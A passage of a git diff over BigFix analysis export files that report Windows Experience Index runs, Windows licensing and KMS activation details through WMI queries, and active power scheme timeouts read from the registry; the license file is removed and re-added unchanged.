+    <Property ID="23" Name="WEI run in past 90 days?" EvaluationPeriod="P2D">((exists folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) AND (exists files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) AND (1 &lt; (number of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; AND (&quot;0&quot; = (it as text) of xpath &quot;/WinSAT/CompletionStatus&quot; of xml document of it)) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder)) AND ((now - maximum of creation times of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; AND (&quot;0&quot; = (it as text) of xpath &quot;/WinSAT/CompletionStatus&quot; of xml document of it)) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) &lt; 90*day))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows License Information (2998636).bes b/Sites/Windows Management/Fixlets/Analyses/Windows License Information (2998636).bes
index c8c802319..784817db2 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows License Information (2998636).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows License Information (2998636).bes	
@@ -1,54 +1,54 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows License Information
-  ID       : 2998636
-  Author   : nathan
-  Domain   : BESC
-  Imported : 2021-01-14T19:32:22
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows License Information</Title>
-    <Description><![CDATA[<P>Reports Windows Licensing Information, majority of what is shown when running the command&nbsp;<STRONG>slmgr /dli. </STRONG>Includes information about Windows 7 ESU Licensing, including Year 2 ESU License information </P>
-<UL>
-<LI><STRONG>License Name</STRONG>
-<LI><STRONG>Description</STRONG>
-<LI><STRONG>Partial Product Key</STRONG>
-<LI><STRONG>License Status</STRONG>
-<LI><STRONG>License Family</STRONG>
-<LI><STRONG>KMS Server DNS Name</STRONG>
-<LI><STRONG>KMS Server Port</STRONG>
-<LI><STRONG>KMS Server IP Address</STRONG>
-<LI><STRONG>KMS machine extended PID</STRONG>
-<LI><STRONG>Activation Interval</STRONG>
-<LI><STRONG>Renewal Interval</STRONG></LI></UL>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 15 Jan 2021 03:30:44 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Windows License Status" EvaluationPeriod="PT12H">if ((select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot;</Property>
-    <Property ID="2" Name="Windows License Name" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="3" Name="Windows License Activation KMS Server DNS Name" EvaluationPeriod="PT12H">string value of select &quot;DiscoveredKeyManagementServiceMachineName from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="4" Name="Windows License Family" EvaluationPeriod="PT12H">string value of select &quot;LicenseFamily from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="5" Name="Windows License Activation KMS Server IP Address" EvaluationPeriod="PT12H">(string value of select &quot;DiscoveredKeyManagementServiceMachineIpAddress from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi) | &quot;No IP Address Reported&quot;</Property>
-    <Property ID="6" Name="Windows License Activation Interval" EvaluationPeriod="PT12H">string value of select &quot;VLActivationInterval from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="7" Name="Windows License Renewal Interval" EvaluationPeriod="PT12H">string value of select &quot;VLRenewalInterval from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="8" Name="Windows License KMS machine extended PID" EvaluationPeriod="PT12H">string value of select &quot;KeyManagementServiceProductKeyID from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="9" Name="Windows License Activation KMS Server Port" EvaluationPeriod="PT12H">string value of select &quot;KeyManagementServicePort from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="10" Name="Windows License Partial Product Key" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="11" Name="Windows License Description" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
-    <Property ID="12" Name="Windows License ESU Name - Year 1" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
-    <Property ID="13" Name="Windows License ESU Description - Year 1" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
-    <Property ID="14" Name="Windows License ESU Partial Product Key - Year 1" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
-    <Property ID="15" Name="Windows License ESU Status - Year 1" EvaluationPeriod="PT12H">(if ((string value of select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot; ) | &quot;No ESU License&quot;</Property>
-    <Property ID="16" Name="Windows License ESU Name - Year 2" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
-    <Property ID="17" Name="Windows License ESU Description - Year 2" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
-    <Property ID="18" Name="Windows License ESU Partial Product Key - Year 2" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
-    <Property ID="19" Name="Windows License ESU Status - Year 2" EvaluationPeriod="PT12H">(if ((string value of select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot; ) | &quot;No ESU License&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows License Information
+  ID       : 2998636
+  Author   : nathan
+  Domain   : BESC
+  Imported : 2021-01-14T19:32:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows License Information</Title>
+    <Description><![CDATA[<P>Reports Windows Licensing Information, majority of what is shown when running the command&nbsp;<STRONG>slmgr /dli. </STRONG>Includes information about Windows 7 ESU Licensing, including Year 2 ESU License information </P>
+<UL>
+<LI><STRONG>License Name</STRONG>
+<LI><STRONG>Description</STRONG>
+<LI><STRONG>Partial Product Key</STRONG>
+<LI><STRONG>License Status</STRONG>
+<LI><STRONG>License Family</STRONG>
+<LI><STRONG>KMS Server DNS Name</STRONG>
+<LI><STRONG>KMS Server Port</STRONG>
+<LI><STRONG>KMS Server IP Address</STRONG>
+<LI><STRONG>KMS machine extended PID</STRONG>
+<LI><STRONG>Activation Interval</STRONG>
+<LI><STRONG>Renewal Interval</STRONG></LI></UL>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 15 Jan 2021 03:30:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Windows License Status" EvaluationPeriod="PT12H">if ((select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot;</Property>
+    <Property ID="2" Name="Windows License Name" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="3" Name="Windows License Activation KMS Server DNS Name" EvaluationPeriod="PT12H">string value of select &quot;DiscoveredKeyManagementServiceMachineName from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="4" Name="Windows License Family" EvaluationPeriod="PT12H">string value of select &quot;LicenseFamily from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="5" Name="Windows License Activation KMS Server IP Address" EvaluationPeriod="PT12H">(string value of select &quot;DiscoveredKeyManagementServiceMachineIpAddress from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi) | &quot;No IP Address Reported&quot;</Property>
+    <Property ID="6" Name="Windows License Activation Interval" EvaluationPeriod="PT12H">string value of select &quot;VLActivationInterval from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="7" Name="Windows License Renewal Interval" EvaluationPeriod="PT12H">string value of select &quot;VLRenewalInterval from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="8" Name="Windows License KMS machine extended PID" EvaluationPeriod="PT12H">string value of select &quot;KeyManagementServiceProductKeyID from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="9" Name="Windows License Activation KMS Server Port" EvaluationPeriod="PT12H">string value of select &quot;KeyManagementServicePort from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="10" Name="Windows License Partial Product Key" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="11" Name="Windows License Description" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="12" Name="Windows License ESU Name - Year 1" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="13" Name="Windows License ESU Description - Year 1" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="14" Name="Windows License ESU Partial Product Key - Year 1" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="15" Name="Windows License ESU Status - Year 1" EvaluationPeriod="PT12H">(if ((string value of select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot; ) | &quot;No ESU License&quot;</Property>
+    <Property ID="16" Name="Windows License ESU Name - Year 2" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="17" Name="Windows License ESU Description - Year 2" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="18" Name="Windows License ESU Partial Product Key - Year 2" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="19" Name="Windows License ESU Status - Year 2" EvaluationPeriod="PT12H">(if ((string value of select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot; ) | &quot;No ESU License&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Power Scheme Settings (2994768).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Power Scheme Settings (2994768).bes
index 3dcec678b..e58acbd26 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Power Scheme Settings (2994768).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Power Scheme Settings (2994768).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Power Scheme Settings
-  ID       : 2994768
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2015-03-27T08:26:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Power Scheme Settings</Title>
-    <Description><![CDATA[<P>Retrieves several&nbsp;values from the current Windows Power Scheme settings.&nbsp; The value that is currently in effect is displayed; this may be a user-overridden value, or defaults for the current Power Scheme. </P>
-<P>This should be able to retrieve power settings for Windows Vista and higher.&nbsp; It has been tested with Windows 7, Windows 2008, and Windows 2008 R2.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 27 Mar 2015 15:24:08 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Power Scheme Name" EvaluationPeriod="PT12H">preceding text of last &quot;%00&quot; of following text of last &quot;,&quot; of (value &quot;FriendlyName&quot; of key (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string as trimmed string)</Property>
-    <Property ID="2" Name="Power Scheme GUID" EvaluationPeriod="PT12H">(value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string</Property>
-    <Property ID="3" Name="Video power down timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
-    <Property ID="4" Name="Harddisk power down timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
-    <Property ID="5" Name="System standby timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
-    <Property ID="6" Name="System hibernation timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
